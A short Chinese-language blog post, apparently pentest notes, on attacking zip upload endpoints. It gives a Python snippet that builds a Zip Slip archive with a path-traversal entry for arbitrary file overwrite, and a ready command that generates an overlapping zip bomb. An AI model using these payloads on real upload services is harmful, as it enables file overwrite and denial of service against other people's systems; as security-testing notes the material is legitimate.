关于zip上传点的攻击思路
1.目录走访漏洞(Zip Slip)
记一次Zip Slip漏洞 - 知乎 (zhihu.com)
import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'sec_test.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp')
Zip Slip是一个广泛存在的漏洞,除了Java语言,JavaScript,Ruby,.NET和Go都有此问题。
就是上传点zip自解压的时候,把我们zip的文件写入的恶意目录给执行了,导致了任意目录文件上传并且覆盖。
2.zip炸弹(不建议使用)
zip炸弹 - lnlvinso - 博客园 (cnblogs.com)
(51条消息) 压缩炸弹(zipbomb)制作(附演示)_fenwangduanyan的博客-CSDN博客
常识
42.zip 是很有名的zip炸弹。一个42KB的文件,解压完其实是个4.5PB的“炸弹”。
更有甚者,一个叫做 droste.zip 的大小为 28 KB 的文件,一旦被打开了以后,就会无限解压缩生成一份同样的文件,直到永远。
zip炸弹文件中有大量刻意重复的数据,这种重复数据在压缩的时候是可以被丢弃的,这也就是压缩后的文件其实并不大的原因。
可以看一下 https://blog.csdn.net/j2IaYU7Y/article/details/82321082
制作
https://github.com/CreeperKong/zipbomb-generator
python3 zipbomb.py --mode=quoted_overlap --num-files=250 --compressed-size=21179 > zbsm.zip
–num-files :压缩包包含的文件数量
–compressed-size:文件压缩大小
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。